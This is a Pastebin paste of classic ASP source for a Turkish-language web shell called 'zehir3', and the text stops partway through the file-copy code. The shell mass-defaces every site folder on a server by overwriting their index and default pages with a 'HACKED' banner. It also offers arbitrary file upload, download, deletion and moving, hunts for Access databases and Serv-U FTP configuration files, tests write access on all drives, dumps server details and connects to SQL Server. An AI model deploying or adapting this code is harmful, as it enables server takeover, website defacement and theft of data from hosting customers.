Guest User

OZ FOR LZ

a guest
Feb 5th, 2010
35,756
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 50.20 KB | None | 0 0
  1. <%
  2. mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
  3. dosyaPath = mid(mpat,InStrRev(mpat,"\")+1)
  4. on error resume next
  5. Dim objFSO,popup
  6. Set objFSO = CreateObject ("Scripting.FileSystemObject")
  7. if Request("kuskapani")=1 then
  8.     Response.End
  9. end if
  10.  
  11.  
  12. if Request("kuskapani")=2 then
  13.     on error resume next
  14.     path = Request("path")
  15.     sFolder = Request("SubFolder")
  16.     fName = Request("FileName")
  17.     d1 = Request("dosya1")
  18.     d2 = Request("dosya2")
  19.     d3 = Request("dosya3")
  20.     d4 = Request("dosya4")
  21.     bg__ = Request.Form("selectColour")
  22.     if bg__ = "0" then bg__ = "#ffffff"
  23.     byMesaj = "<body bgColor='"&bg__&"'>" & Request("byMesaj") & "<br><br><center><font color=gray size=2>HACKED " & Session("n2") & "3 ;)</font>"
  24.  
  25.     sFolder = Replace(sFolder,"/","\")
  26.  
  27.     if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
  28.     Set f = objFSO.GetFolder(Path)
  29.     Set fc = f.SubFolders
  30.     h__ = 0
  31.     f__ = 0
  32.     ss__ = now
  33.     For Each f1 In fc
  34.         hedef_ = replace(f1.path,"/","\")
  35.         if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
  36.         hedef__ = left(hedef_,len(hedef_)-1)
  37.         folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
  38.             if d1<>"" then d1 = true
  39.             if d2<>"" then d2 = true
  40.             if d3<>"" then d3 = true
  41.             if d4<>"" then d4 = true
  42.             on error goto 0:on error resume next
  43.             if fName<>"" then
  44.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
  45.                 MyFile.write byMesaj
  46.             end if
  47.             if d1 then
  48.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
  49.                 MyFile.write byMesaj
  50.             end if
  51.             if d2 then
  52.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
  53.                 MyFile.write byMesaj
  54.             end if
  55.             if d3 then
  56.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
  57.                 MyFile.write byMesaj
  58.             end if
  59.             if d4 then
  60.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
  61.                 MyFile.write byMesaj
  62.             end if
  63.  
  64.             if err<>0 then
  65.                 response.Write folderName_ & " <font color=red>[FAILED!]</font><br>"
  66.                 f__ = f__ + 1
  67.             else
  68.                 response.Write folderName_ & " <font color=blue>[HACKED]</font><br>"
  69.                 h__ = h__ + 1
  70.             end if
  71.     Next
  72.     ss___ = now
  73.     response.Write "<br><font color=white>by zehir!...</font><br><b>Sonuc : </b> Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)<br><font color=blue>Hacked</font> = "&h__&"<br><font color=red>Failed</font> = "&f__
  74.     response.End
  75. end if
  76.  
  77. status = Request("status")
  78. path   = Request("path")
  79. dPath  = Request("dPath")
  80. arama  = Request("txArama")
  81. dkayit = Request("dkayit")
  82. table  = Request("table")
  83. del    = Request("del")
  84. islem  = Request("islem")
  85. strSQL = Request("strSQL")
  86. cf       = Request("cf")
  87. pathfile = request("pathfile")
  88. if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
  89. if status="" then status=2
  90. popup = true
  91. '////////////////////////////////
  92. Function ReadBinaryFile(FileName)
  93.   Const adTypeBinary = 1
  94.   Dim BinaryStream
  95.   Set BinaryStream = CreateObject("ADODB.Stream")
  96.   BinaryStream.Type = adTypeBinary
  97.   BinaryStream.Open
  98.   BinaryStream.LoadFromFile FileName
  99.   ReadBinaryFile = BinaryStream.Read
  100. End Function
  101. if status="-3" then
  102.     Response.Buffer=True
  103.     Set Fil = objFSO.GetFile(pathfile)
  104.  
  105.     Response.contenttype="application/force-download"
  106.     Response.AddHeader "Cache-control","private"
  107.     Response.AddHeader "Content-Length", Fil.Size
  108.     Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
  109.  
  110.     Response.BinaryWrite readBinaryFile(Fil.path)
  111.     Set f = Nothing: Set Fil = Nothing
  112.     response.End()
  113. end if
  114. '//////////////////////////////////
  115. if status="-4" then popup=false
  116. if status="13" then popup=false
  117. if status="14" then popup=false
  118. if status="15" then popup=false
  119. if status="16" then popup=false
  120. if status="17" then popup=false
  121. if status="18" then popup=false
  122. if status="19" then popup=false
  123. if status="33" then popup=false
  124. if status="40" then popup=false
  125. if status="50" then popup=false
  126. byMsg = request.QueryString("byMsg")
  127. if byMsg<>"" then response.Write byMsg
  128. response.Write "<title>zehir3 --> powered by zehir &lt;[email protected]&gt;</title>"
  129. if popup then
  130. %>
  131. <center>
  132. <a href="<%=dosyaPath%>?mevla=1&status=13" onclick="sistemBilgisi(this.href);return false;">System Info</a>
  133. <font color=yellow> | </font>
  134. <a href="<%=dosyaPath%>?mevla=1&status=40" onclick="sistemTest(this.href);return false;">System Test</a>
  135. <font color=yellow> | </font>
  136. <a href="<%=dosyaPath%>?mevla=1&status=50&path=<%=path%>" onclick="SitelerTestte(this.href);return false;">Sites Test</a>
  137. <font color=yellow> | </font>
  138. <a href="<%=dosyaPath%>?mevla=1&status=14&path=<%=path%>" onclick="klasorIslemleri(this.href);return false;">Folder Action</a>
  139. <font color=yellow> | </font>
  140. <a href="<%=dosyaPath%>?mevla=1&status=15" onclick="sqlServer(this.href);return false;">SQL Server</a>
  141. <font color=yellow> | </font>
  142. <a href="<%=dosyaPath%>?mevla=1&status=33" onclick="poweredby(this.href);return false;">POWERED BY</a>
  143. <script language=javascript>
  144.     function sistemBilgisi(yol){
  145.         NewWindow(yol,"",600,240,"no");
  146.     }
  147.     function SitelerTestte(yol){
  148.         NewWindow(yol,"",530,420,"no");
  149.     }
  150.     function klasorIslemleri(yol){
  151.         NewWindow(yol,"",400,280,"no");
  152.     }
  153.     function sqlServer(yol){
  154.         NewWindow(yol,"",300,50,"no");
  155.     }
  156.     function poweredby(yol){
  157.         NewWindow(yol,"",300,50,"no");
  158.     }
  159.     function sistemTest(yol){
  160.         NewWindow(yol,"",400,300,"no");
  161.     }
  162. </script>
  163. <%
  164. end if
  165. '####################################
  166. Class clsUpload
  167.     Private mbinData
  168.     Private mlngChunkIndex
  169.     Private mlngBytesReceived
  170.     Private mstrDelimiter
  171.     Private CR
  172.     Private LF
  173.     Private CRLF
  174.     Private mobjFieldAry()
  175.     Private mlngCount
  176.  
  177.     Private Sub RequestData
  178.         Dim llngLength
  179.         mlngBytesReceived = Request.TotalBytes
  180.         mbinData = Request.BinaryRead(mlngBytesReceived)
  181.     End Sub
  182.  
  183.     Private Sub ParseDelimiter()
  184.         mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
  185.     End Sub
  186.  
  187.     Private Sub ParseData()
  188.         Dim llngStart
  189.         Dim llngLength
  190.         Dim llngEnd
  191.         Dim lbinChunk
  192.         llngStart = 1
  193.         llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
  194.         While Not llngStart = 0
  195.             llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
  196.             llngLength = llngEnd - llngStart
  197.             lbinChunk = MidB(mbinData, llngStart, llngLength)
  198.             Call ParseChunk(lbinChunk)
  199.             llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
  200.         Wend
  201.     End Sub
  202.  
  203.     Private Sub ParseChunk(ByRef pbinChunk)
  204.         Dim lstrName
  205.         Dim lstrFileName
  206.         Dim lstrContentType
  207.         Dim lbinData
  208.         Dim lstrDisposition
  209.         Dim lstrValue
  210.         lstrDisposition = ParseDisposition(pbinChunk)
  211.         lstrName = ParseName(lstrDisposition)
  212.         lstrFileName = ParseFileName(lstrDisposition)
  213.         lstrContentType = ParseContentType(pbinChunk)
  214.         If lstrContentType = "" Then
  215.             lstrValue = CStrU(ParseBinaryData(pbinChunk))
  216.         Else
  217.             lbinData = ParseBinaryData(pbinChunk)
  218.         End If
  219.         Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
  220.     End Sub
  221.  
  222.     Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
  223.         Dim lobjField
  224.         ReDim Preserve mobjFieldAry(mlngCount)
  225.         Set lobjField = New clsField
  226.         lobjField.Name = pstrName
  227.         lobjField.FilePath = pstrFileName
  228.         lobjField.ContentType = pstrContentType
  229.         If LenB(pbinData) = 0 Then
  230.             lobjField.BinaryData = ChrB(0)
  231.             lobjField.Value = pstrValue
  232.             lobjField.Length = Len(pstrValue)
  233.         Else
  234.             lobjField.BinaryData = pbinData
  235.             lobjField.Length = LenB(pbinData)
  236.             lobjField.Value = ""
  237.         End If
  238.         Set mobjFieldAry(mlngCount) = lobjField
  239.         mlngCount = mlngCount + 1
  240.     End Sub
  241.  
  242.     Private Function ParseBinaryData(ByRef pbinChunk)
  243.         Dim llngStart
  244.         llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
  245.         If llngStart = 0 Then Exit Function
  246.         llngStart = llngStart + 4
  247.         ParseBinaryData = MidB(pbinChunk, llngStart)
  248.     End Function
  249.  
  250.     Private Function ParseContentType(ByRef pbinChunk)
  251.         Dim llngStart
  252.         Dim llngEnd
  253.         Dim llngLength
  254.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
  255.         If llngStart = 0 Then Exit Function
  256.         llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
  257.         If llngEnd = 0 Then Exit Function
  258.         llngStart = llngStart + 15
  259.         If llngStart >= llngEnd Then Exit Function
  260.         llngLength = llngEnd - llngStart
  261.         ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
  262.     End Function
  263.  
  264.     Private Function ParseDisposition(ByRef pbinChunk)
  265.         Dim llngStart
  266.         Dim llngEnd
  267.         Dim llngLength
  268.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
  269.         If llngStart = 0 Then Exit Function
  270.         llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
  271.         If llngEnd = 0 Then Exit Function
  272.         llngStart = llngStart + 22
  273.         If llngStart >= llngEnd Then Exit Function
  274.         llngLength = llngEnd - llngStart
  275.         ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
  276.     End Function
  277.  
  278.     Private Function ParseName(ByRef pstrDisposition)
  279.         Dim llngStart
  280.         Dim llngEnd
  281.         Dim llngLength
  282.         llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
  283.         If llngStart = 0 Then Exit Function
  284.         llngEnd = InStr(llngStart + 6, pstrDisposition, """")
  285.         If llngEnd = 0 Then Exit Function
  286.         llngStart = llngStart + 6
  287.         If llngStart >= llngEnd Then Exit Function
  288.         llngLength = llngEnd - llngStart
  289.         ParseName = Mid(pstrDisposition, llngStart, llngLength)
  290.     End Function
  291. ' ------------------------------------------------------------------------------
  292.     Private Function ParseFileName(ByRef pstrDisposition)
  293.         Dim llngStart
  294.         Dim llngEnd
  295.         Dim llngLength
  296.         llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
  297.         If llngStart = 0 Then Exit Function
  298.         llngEnd = InStr(llngStart + 10, pstrDisposition, """")
  299.         If llngEnd = 0 Then Exit Function
  300.         llngStart = llngStart + 10
  301.         If llngStart >= llngEnd Then Exit Function
  302.         llngLength = llngEnd - llngStart
  303.         ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
  304.     End Function
  305.  
  306.     Public Property Get Count()
  307.         Count = mlngCount
  308.     End Property
  309.  
  310.     Public Default Property Get Fields(ByVal pstrName)
  311.         Dim llngIndex
  312.         If IsNumeric(pstrName) Then
  313.             llngIndex = CLng(pstrName)
  314.             If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
  315.                 Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
  316.                 Exit Property
  317.             End If
  318.             Set Fields = mobjFieldAry(pstrName)
  319.         Else
  320.             pstrName = LCase(pstrname)
  321.             For llngIndex = 0 To mlngCount - 1
  322.                 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
  323.                     Set Fields = mobjFieldAry(llngIndex)
  324.                     Exit Property
  325.                 End If
  326.             Next
  327.         End If
  328.         Set Fields = New clsField
  329.     End Property
  330.  
  331.     Private Sub Class_Terminate()
  332.         Dim llngIndex
  333.         For llngIndex = 0 To mlngCount - 1
  334.             Set mobjFieldAry(llngIndex) = Nothing
  335.  
  336.         Next
  337.         ReDim mobjFieldAry(-1)
  338.     End Sub
  339.  
  340.     Private Sub Class_Initialize()
  341.         ReDim mobjFieldAry(-1)
  342.         CR = ChrB(Asc(vbCr))
  343.         LF = ChrB(Asc(vbLf))
  344.         CRLF = CR & LF
  345.         mlngCount = 0
  346.         Call RequestData
  347.         Call ParseDelimiter()
  348.         Call ParseData
  349.     End Sub
  350.  
  351.     Private Function CStrU(ByRef pstrANSI)
  352.         Dim llngLength
  353.         Dim llngIndex
  354.         llngLength = LenB(pstrANSI)
  355.         For llngIndex = 1 To llngLength
  356.             CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
  357.         Next
  358.     End Function
  359.  
  360.     Private Function CStrB(ByRef pstrUnicode)
  361.         Dim llngLength
  362.         Dim llngIndex
  363.         llngLength = Len(pstrUnicode)
  364.         For llngIndex = 1 To llngLength
  365.             CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
  366.         Next
  367.     End Function
  368. End Class
  369. '####################################
  370. Session("n1") = "by Ejder"
  371. Class clsField
  372.     Public Name
  373.     Private mstrPath
  374.     Public FileDir
  375.     Public FileExt
  376.     Public FileName
  377.     Public ContentType
  378.     Public Value
  379.     Public BinaryData
  380.     Public Length
  381.     Private mstrText
  382.  
  383.     Public Property Get BLOB()
  384.         BLOB = BinaryData
  385.     End Property
  386.  
  387.     Public Function BinaryAsText()
  388.         Dim lbinBytes
  389.         Dim lobjRs
  390.         If Length = 0 Then Exit Function
  391.         If LenB(BinaryData) = 0 Then Exit Function
  392.  
  393.         If Not Len(mstrText) = 0 Then
  394.             BinaryAsText = mstrText
  395.             Exit Function
  396.         End If
  397.         lbinBytes = ASCII2Bytes(BinaryData)
  398.            mstrText = Bytes2Unicode(lbinBytes)
  399.         BinaryAsText = mstrText
  400.     End Function
  401.  
  402.     Public Sub SaveAs(ByRef pstrFileName)
  403.         Const adTypeBinary=1
  404.         Const adSaveCreateOverWrite=2
  405.         Dim lobjStream
  406.         Dim lobjRs
  407.         Dim lbinBytes
  408.         If Length = 0 Then Exit Sub
  409.         If LenB(BinaryData) = 0 Then Exit Sub
  410.         Set lobjStream = Server.CreateObject("ADODB.Stream")
  411.         lobjStream.Type = adTypeBinary
  412.         Call lobjStream.Open()
  413.         lbinBytes = ASCII2Bytes(BinaryData)
  414.         Call lobjStream.Write(lbinBytes)
  415.  
  416.         On Error Resume Next
  417.  
  418.         Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
  419.  
  420.         'if err<>0 then response.Write "<br>"&err.Description
  421.  
  422.         Call lobjStream.Close()
  423.         Set lobjStream = Nothing
  424.     End Sub
  425.  
  426.     Public Property Let FilePath(ByRef pstrPath)
  427.         mstrPath = pstrPath
  428.         If Not InStrRev(pstrPath, ".") = 0 Then
  429.             FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
  430.             FileExt = UCase(FileExt)
  431.         End If
  432.         If Not InStrRev(pstrPath, "\") = 0 Then
  433.             FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
  434.         End If
  435.         If Not InStrRev(pstrPath, "\") = 0 Then
  436.             FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
  437.         End If
  438.     End Property
  439.  
  440.     Public Property Get FilePath()
  441.         FilePath = mstrPath
  442.     End Property
  443.  
  444.     private Function ASCII2Bytes(ByRef pbinBinaryData)
  445.         Const adLongVarBinary=205
  446.         Dim lobjRs
  447.         Dim llngLength
  448.         Dim lbinBuffer
  449.         llngLength = LenB(pbinBinaryData)
  450.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  451.         Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
  452.         Call lobjRs.Open()
  453.         Call lobjRs.AddNew()
  454.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
  455.         Call lobjRs.Update()
  456.         lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
  457.         Call lobjRs.Close()
  458.         Set lobjRs = Nothing
  459.         ASCII2Bytes = lbinBuffer
  460.     End Function
  461.  
  462.     Private Function Bytes2Unicode(ByRef pbinBytes)
  463.         Dim lobjRs
  464.         Dim llngLength
  465.         Dim lstrBuffer
  466.         llngLength = LenB(pbinBytes)
  467.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  468.         Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
  469.         Call lobjRs.Open()
  470.         Call lobjRs.AddNew()
  471.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
  472.         Call lobjRs.Update()
  473.         lstrBuffer = lobjRs.Fields("BinaryData").Value
  474.         Call lobjRs.Close()
  475.         Set lobjRs = Nothing
  476.         Bytes2Unicode = lstrBuffer
  477.     End Function
  478. End Class
  479. Session("n2") = "EJDER"
  480. '####################################
  481. function addslash(path)
  482.     if right(path,1)="\" then addslash=path else addslash=path & "\"
  483. end function
  484.  
  485. sub Upload()
  486.     dim objUpload,f,max,i,name,path,size,success
  487.  
  488.     set objUpload=New clsUpload
  489.  
  490.     targetPath=objUpload.Fields("folder").Value
  491.     max=objUpload.Fields("max").Value
  492.  
  493.     for i=1 to max
  494.         name=objUpload.Fields("file" & i).FileName
  495.         size=objUpload.Fields("file" & i).Length
  496.         if (name<>"") and (size>0) then
  497.             gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
  498.             path=addslash(targetPath) & name
  499.             objUpload.Fields("file" & i).SaveAs path
  500.  
  501.             if objFSO.FileExists(path) then
  502.                 on error resume next
  503.                 set f=objFSO.GetFile(path)
  504.                 if IsObject(f) then
  505.                     if f.Size=size then success=true else success=false
  506.                 end if
  507.                 set f=nothing
  508.             end if
  509.             if success then  gMsg=gMsg & "<font color=blue>uploaded</font>" else gMsg = gMsg & "<font color=red>failed!</font>"
  510.         end if
  511.     next
  512.     response.Write gMsg
  513.     set objUpload=nothing
  514.  
  515. end sub
  516.  
  517. if status="-4" then
  518.     Upload()
  519. '    hataKontrol
  520.     popup=false
  521. end if
  522. '////////////////////////////////
  523. sub hataKontrol
  524.     if err<>0 then
  525.         Response.Write "<font color=red size=2>Hata : "&err.Description&"</font>"
  526.     end if
  527. end sub
  528.  
  529. sub araBul(path_,ara_)
  530.     on error resume next
  531.     If Len(path_) > 0 Then
  532.         cur = path_&"\"
  533.         If cur = "\\" Then cur = ""
  534.             parent = ""
  535.             If InStrRev(cur,"\") > 0 Then
  536.             parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
  537.         End If
  538.     Else
  539.         cur = ""
  540.     End If
  541.  
  542.     Set f = objFSO.GetFolder(cur)
  543.  
  544.     Set fc = f.Files
  545.     For Each f1 In fc
  546.         if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
  547.             downStr = "<font face=webdings size=5><a href='"&dosyapath&"?status=-3&pathFile="&f1.path&"&Time="&time&"'>�</a></font>"
  548.             if lcase(ara_)="mdb" then
  549.                 Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>�</a></font> * <a href='"&dosyapath&"?status=7&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  550.             else
  551.                 Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>�</a><a href='"&dosyapath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a></font> - <a href='"&dosyapath&"?status=5&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  552.             end if
  553.         end if
  554.     Next
  555.  
  556.     Set fs = f.SubFolders
  557.     For Each f1 In fs
  558.         araBul f1.path,ara_
  559.     Next
  560.     Set    f        = Nothing
  561.     Set fc        = Nothing
  562.     Set fs        = Nothing
  563. end sub
  564.  
  565. sub sistemTest
  566.     response.Write "<table width='100%' align=center cellpadding=0 cellspacing=0 border=1>"
  567.     response.Write "<tr bgcolor=#ffffc0><td width='30%' align=center><font color=navy><b>Konum</td><td width='70%' align=center><font color=navy><b>Sonu�</td></tr>"
  568.  
  569.     servu_Test
  570.     WriteTestOnDriver
  571.     WriteTestOnLocalPath
  572.     LocalPathParentFolder
  573.     LocalPathPParentFolder
  574.  
  575.     response.Write "</table>"
  576. end sub
  577.  
  578. sub servu_Test
  579.     dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
  580.     for each drive_ in objFSO.Drives
  581.         if drive_.Drivetype=2 or drive_.Drivetype=3 then
  582.             for each d_ in dosya_
  583.                 d_ = drive_.DriveLetter&":\"&d_
  584.                 if objFSO.FileExists(d_) then
  585.                     response.Write "<tr><td><b>Serv-U ini file : </td><td><font color=yellow>"&d_&"</td></tr>"
  586.                 end if
  587.             next
  588.         end if
  589.     next
  590. end sub
  591.  
  592. function yaziyomu(yol)
  593.     on error goto 0:on error resume next
  594.     dim sonuc__
  595.     Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  596.     MyFile.write "byzehir <[email protected]>"
  597.     set MyFile = Nothing
  598.     if err<>0 then
  599.         sonuc__="<font color=red>Yazma Hakk� Yok!</font>"
  600.     else
  601.         sonuc__="<font color=yellow>Yazma Hakk� Var!</font>"
  602.         on error goto 0: on error resume next
  603.         objFSO.DeleteFile yol & "\test.zehir",true
  604.         if err<>0 then
  605.             sonuc__=sonuc__&"<br><font color=red>Silme Hakk� Yok!</font>"
  606.         else
  607.             sonuc__=sonuc__&"<br><font color=yellow>Silme Hakk� Var!</font>"
  608.         end if
  609.     end if
  610.     yaziyomu = sonuc__
  611. end function
  612.  
  613. function yaziyomu2(yol)
  614.     on error goto 0:on error resume next
  615.     Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  616.     MyFile.write "byzehir <[email protected]>"
  617.     set MyFile = Nothing
  618.     if err<>0 then
  619.         yaziyomu2 = false
  620.     else
  621.         objFSO.DeleteFile yol & "\test.zehir"
  622.         yaziyomu2 = true
  623.     end if
  624. end function
  625.  
  626. sub WriteTestOnDriver
  627.     for each drive_ in objFSO.Drives
  628.         if drive_.Drivetype=2 or drive_.Drivetype=3 then
  629.             if not yaziyomu2(drive_.DriveLetter&":\") then
  630.                 Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=red>yazma yetkisi yok! : ["&err.Description&"]</td></tr>"
  631.             else
  632.                 Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=yellow>yazma yetkisi var!</td></tr>"
  633.             end if
  634.         end if
  635.     next
  636. end sub
  637.  
  638. sub WriteTestOnLocalPath
  639.     on error goto 0
  640.     on error resume next
  641.     if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
  642.         Response.Write "<tr><td><b>Local Path </td><td><font color=red>yazma yetkisi yok! : ["&err.Description&"]</td></tr>"
  643.     else
  644.         Response.Write "<tr><td><b>Local Path </td><td><font color=yellow>yazma yetkisi var!</td></tr>"
  645.     end if
  646. end sub
  647.  
  648. sub LocalPathParentFolder
  649.     on error goto 0
  650.     on error resume next
  651.     hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  652.     if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  653.     parhed_ = left(hed_,InStrRev(hed_,"\"))
  654.  
  655.     Set f = objFSO.GetFolder(parhed_)
  656.     Set fc = f.SubFolders
  657.  
  658.     int_fol=0
  659.     int_fil=0
  660.     For Each f1 In fc
  661.         int_fol=int_fol+1
  662.     Next
  663.  
  664.     Set fc = f.files
  665.     For Each f1 In fc
  666.         int_fil=int_fil+1
  667.     Next
  668.  
  669.     if err<>0 then
  670.         Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=red>Hata Olu�tu : ["&err.Description&"]</td></tr>"
  671.     else
  672.         Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  673.     end if
  674. end sub
  675.  
  676. sub LocalPathPParentFolder
  677.     on error goto 0
  678.     on error resume next
  679.     hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  680.     if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  681.     hed_ = left(hed_,InStrRev(hed_,"\"))
  682.     if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  683.     parhed_ = left(hed_,InStrRev(hed_,"\"))
  684.  
  685.     Set f = objFSO.GetFolder(parhed_)
  686.     Set fc = f.SubFolders
  687.     int_fol=0
  688.     int_fil=0
  689.     For Each f1 In fc
  690.         int_fol=int_fol+1
  691.     Next
  692.  
  693.     Set fc = f.files
  694.     For Each f1 In fc
  695.         int_fil=int_fil+1
  696.     Next
  697.  
  698.     if err<>0 then
  699.         if err=451 then
  700.             Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Data �st Klasor Yok :)</td></tr>"
  701.         else
  702.             Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Hata Olu�tu : ["&err.Description&"]</td></tr>"
  703.         end if
  704.     else
  705.         Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  706.     end if
  707. end sub
  708.  
  709. SELECT CASE status
  710. CASE 13 'Sistem Bilgisi
  711.     Response.Write "<table width=100% cellpadding=0 cellspacing=0><tr><td colspan=2 align=center><font color=yellow face='courier new'><b><font style='FONT-WEIGHT:normal' color=red face=wingdings>:</font> Sistem Bilgileri <font color=red face=wingdings style='FONT-WEIGHT:normal'>:</font></td></tr>"
  712.     Response.Write "<tr><td><b><font color=red>Local Adres</td><td> " & request.servervariables("REMOTE_ADDR") & "</td></tr>"
  713.     Response.Write "<tr><td><b><font color=red>User Agent</td><td> " & request.servervariables("HTTP_USER_AGENT") & "</td></tr>"
  714.     Response.Write "<tr><td><b><font color=red>Server</td><td> " & request.servervariables("SERVER_NAME") & "</td></tr>"
  715.     Response.Write "<tr><td><b><font color=red>IP</td><td> " & request.servervariables("LOCAL_ADDR") & "</td></tr>"
  716.     Response.Write "<tr><td><b><font color=red>HTTPD</td><td> " & request.servervariables("SERVER_SOFTWARE") & "</td></tr>"
  717.     Response.Write "<tr><td><b><font color=red>Port</td><td> " & request.servervariables("SERVER_PORT") & "</td></tr>"
  718.     Response.Write "<tr><td><b><font color=red>Yol</td><td> " & request.servervariables("APPL_PHYSICAL_PATH") & "</td></tr>"
  719.     Response.Write "<tr><td><b><font color=red>Log Root</td><td> " & request.servervariables("APPL_MD_PATH") & "</td></tr>"
  720.     Response.Write "<tr><td><b><font color=red>HTTPS</td><td> " & request.servervariables("HTTPS") & "</td></tr>"
  721.     Response.Write "</table>"
  722.     popup = false
  723. CASE 14 'Upload and Search
  724.     aramaUpload
  725.     popup = false
  726.     hataKontrol
  727. CASE 15 'Ms. SQL Server
  728.     Response.Write "<form method=get action='"&DosyPath&"' target='_opener' id=form1 name=form1>"
  729.     Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>SQL Server i�in connection string giriniz</td></tr><tr><td align=center>"
  730.     Response.Write "<input type=hidden value='7' name=status><input type=hidden value='"&time&"' name=Time>"
  731.     Response.Write "<input style='width:250; height:21' value='' name=path><br>"
  732.     response.Write "<input type=submit value='SQL Servera Ba�lan' style='height:23;width:170' id=submit1 name=submit1>"
  733.     Response.Write "</td></tr></table>"
  734.     response.Write "</form>"
  735.  
  736.     popup = false
  737.     hataKontrol
  738. CASE 16 'file Copy window
  739.     Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  740.     Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  741.     Response.Write "<input type=hidden value='17' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  742.     Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
  743.     response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  744.     Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  745.     response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  746.     response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  747.     response.Write "</table>"
  748.     response.Write "</form>"
  749.  
  750.     popup = false
  751.     hataKontrol
  752. CASE 17 'file Copy
  753.     isl = ""
  754.     if islem="kopyala" then
  755.         objFSO.CopyFile path,cf
  756.         isl="kopyaland�.."
  757.     elseif islem="tasi" then
  758.         objFSO.MoveFile path,cf
